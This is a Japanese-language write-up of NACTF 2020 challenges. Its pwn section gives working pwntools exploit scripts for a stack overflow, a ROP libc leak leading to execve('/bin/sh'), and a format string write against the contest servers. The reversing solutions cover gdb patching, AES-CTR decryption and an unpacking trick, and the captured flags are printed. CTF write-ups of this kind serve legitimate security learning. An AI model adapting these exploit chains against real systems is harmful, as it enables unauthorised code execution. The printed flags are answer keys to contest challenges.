NACTF 2020 writeup
Sat Nov 07 2020
11月頭に開催された NACTF 2020 に参加しました。 平日開催だったためフルコミットはできなかったため、主に pwn や reversing 等、苦手で普段避けがちな問題に取り組みました。 結果としては 31th / 968 でした。 解いた問題のうち、力を入れた pwn、reversing について writeup を書きます。
pwn
Greeter
典型的な stack overflow。 win 関数のアドレスに飛ぶだけ
from pwn import * context.log_level = "DEBUG" r = remote("challenges.ctfd.io", 30249) r.sendlineafter("What's your name?\n", b"A"*72 + b"\x20\x12\x40\x00\x00\x00\x00\x00") r.recvall()
nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur
dROPit
libc のバージョンを ROP で特定し、シェルを叩く問題。 https://book.hacktricks.xyz/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address を参考にして解きました。
from pwn import * r = remote("challenges.ctfd.io", 30261) elf = ELF("./dropit") context.binary = elf context.log_level = "DEBUG" libc = "" libc = ELF("./libc6_2.32-0ubuntu2_amd64.so") OFFSET = b"A" * 56 rop = ROP(elf) PUTS_PLT = elf.plt["puts"] MAIN_PLT = elf.symbols["main"] POP_RDI = (rop.find_gadget(["pop rdi", "ret"]))[0] RET = (rop.find_gadget(["ret"]))[0] def get_addr(func_name): FUNC_GOT = elf.got[func_name] rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) r.sendlineafter("?\n", rop1) # Parse leaked address recieved = r.recvline().strip() print(recieved) leak = u64(recieved.ljust(8, b"\x00")) print("Leaked libc address, " + func_name + ": " + hex(leak)) return hex(leak) get_addr("__libc_start_main") get_addr("puts") get_addr("fgets") get_addr("setvbuf") r.interactive()
リークさせた GOT のアドレスを、 hint にも書いてあった https://libc.rip/ で検索をかけると…
libc6_2.32-0ubuntu2_amd64 であることがわかります。これを用いて /bin/sh を叩きます。
from pwn import * r = remote("challenges.ctfd.io", 30261) elf = ELF("./dropit") context.binary = elf context.log_level = "DEBUG" libc = ELF("./libc6_2.32-0ubuntu2_amd64.so") OFFSET = b"A" * 56 rop = ROP(elf) PUTS_PLT = elf.plt["puts"] MAIN_PLT = elf.symbols["main"] POP_RDI = (rop.find_gadget(["pop rdi", "ret"]))[0] RET = (rop.find_gadget(["ret"]))[0] def get_addr(func_name): global done FUNC_GOT = elf.got[func_name] rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) r.sendlineafter("?\n", rop1) # Parse leaked address recieved = r.recvline().strip() leak = u64(recieved.ljust(8, b"\x00")) print("Leaked libc address, " + func_name + ": " + hex(leak)) libc.address = leak - libc.symbols[func_name] # Save libc base print("libc base @ %s" % hex(libc.address)) return hex(leak) get_addr("__libc_start_main") rop = ROP(libc) rop.execve(next(libc.search(b"/bin/sh")), 0) r.sendlineafter("?\n", OFFSET + rop.chain()) r.interactive()
nactf{r0p_y0ur_w4y_t0_v1ct0ry_698jB84iO4OH1cUe}
Format
典型的な format string attack。 0x42 = 66 を 0x404080 に書き込めばよい。
from pwn import * context.log_level = "DEBUG" r = remote("challenges.ctfd.io", 30266) # r.sendlineafter("text.\n", b"\x80\x40\x40%63c%6$hhn") # もともと↑ を想定していたが、 \x00 のせいでうまくいかないので、後ろにアドレスをおいた # "%66c%8$hhn" が10文字なので AAAAAA を追加して16文字にし、 printf のスタックの指す先を2つずらす、6->8へ r.sendlineafter("text.\n", b"%66c%8$hhnAAAAAA\x80\x40\x40\x00\x00\x00\x00\x00") print(r.recvall())
nactf{d0nt_pr1ntf_u54r_1nput_HoUaRUxuGq2lVSHM}
reversing
Patience
0x0000555555555000 <+0>: mov edi,0x42 0x0000555555555005 <+5>: call 0x555555555053 <_start+83> 0x000055555555500a <+10>: mov rdi,rax
最初の 0x555555555053 の関数内部の計算でとても長い時間がかかります。 この関数の return 値を自前で求め、 gdb で rip を書き換えて call 部分を飛ばし、その後の rdi に自前で計算した値を代入することで、 print することができそうです。
0x555555555053 内部での計算を読むと、再帰的な計算が多いことがわかるので、 python の lru_cache を使って高速化します。
from functools import lru_cache @lru_cache(maxsize=10 ** 6) def f(n, m): if n == 0: return 0 ans = 0 n -= 1 m += 1 ans += f(n, m) while True: if n == 0: ans += f(n, m) if m == 1: ans += 1 break if m > 1: n -= 1 m -= 1 else: n -= 2 ans += f(n, m) return ans ans = 1 for i in range(0x84 // 2): ans += f(i * 2, 1) ans %= 2 ** 64 print(ans % 2 ** 64)
これで計算された 15620537638032369420 を rdi に代入することで flag が出力されます。
nactf{d1d_y0u_kn0w_y0u_ju5t_c4lcul4t3d_th3_66th_c4t4l4n_numb3r}
Gopher
gdb で解析。 list でソースコードが見れたので、コードの概要は把握しやすかったです。また、各関数内部で info args を叩くことで引数がわかります。 golang では main 関数が main.main であることだけ注意。
眺めていると、 AES の CTR モードで暗号化しているコードであることがわかります。 key や iv から復号化をするコードを書きました。
package main import ( "crypto/cipher" "crypto/aes" "fmt" ) func main() { key := []byte{0x31, 0xe5, 0x2b, 0x93, 0x9d, 0xf5, 0xcc, 0x7d, 0x8c, 0xc7, 0xd, 0x73, 0x97, 0xd0, 0x44, 0xfe, 0xcd, 0xcf, 0xbc, 0x38, 0x8a, 0xf5, 0x7f, 0x21, 0x6d, 0xa1, 0x9e, 0xa1, 0x26, 0x2b, 0xbc, 0xf2} block, err := aes.NewCipher(key) if err != nil { fmt.Println(err) return } iv := []byte{0x1b, 0xa4, 0xd, 0x8c, 0x33, 0xef, 0x46, 0x24, 0x69, 0xa8, 0x93, 0x98, 0xe8, 0xac, 0x8, 0x29} enc := cipher.NewCTR(block, iv) data := []byte{0x6b, 0x17, 0xd4, 0x6b, 0xe8, 0xa1, 0xa5, 0xef, 0x78, 0x1d, 0xea, 0x7a, 0xf7, 0x34, 0xf7, 0x3e, 0x77, 0xca, 0xf4, 0x1c, 0x35, 0x4c, 0x9a, 0xad, 0xdd, 0x5d, 0x1f, 0x40, 0xd9, 0x0, 0x0, 0x1c, 0x20, 0xe3, 0x6f, 0x13, 0x92, 0x90, 0x4f, 0x1d, 0xa2, 0xfb, 0x7c, 0xd3, 0x61, 0x35, 0x31, 0xc9, 0xa1, 0x77, 0xa8, 0x80, 0x99, 0x6a, 0xf0, 0x10, 0xb2} decrypted := make([]byte, len(data)) enc.XORKeyStream(decrypted, data) fmt.Println(string(decrypted)) }
nactf{why_d0es_g0l4ng_3v3n_us3_th1s_abi_uI2SRybwkmZQ0kZM}
Packed
なぜかはわかってないですが、静的解析だとコードがまともに読めなかった…ので、 packed を実行したプロセスに gbd --pid PID でアタッチして様子を見ました。 0x7f8f28872070 でフラグが一致しているか確認するための文字列を生成し、0x7f8f288720a0 内部でフラグが一致しているか確認していることがわかります。
nV&Bba_TG^cNk<at2E2-fpAe{{n3H-s~*xK3]h-NlXIorf;g^Y_cB(gu\",}Tn{vq!po`K@4~J{)c9i=?k3fZ,1+Ib_n.GgFg{0gK_f;ngblEY,1mRIjn?F89_8%oudB]),1w14%d+zfxnS{dDtc?<w_lVkD3Z`usvzN+J3o/_lnqK9@_#~C/s{=P64KW(-v3z=&3jren_x*$04r9njn0S,Py/%n#_98|0s^;~(pw#fW4p-B)c=*sG3MX8(_a\\&ms-zS:mBN~]hi6zw_;(w5m5LdAV0mYv47\"]xEUibHUtNRuYA4hya\"[+Ke&fD2}?^N$*nactf!
この文字列を5文字飛ばしで読んだものがフラグと一致しているか確認していました。
nactf{s3lf_unp4ck1ng_b1n_d1dnt_3v3n_s4v3_4ny_sp4c3_smh_mV4EUYae}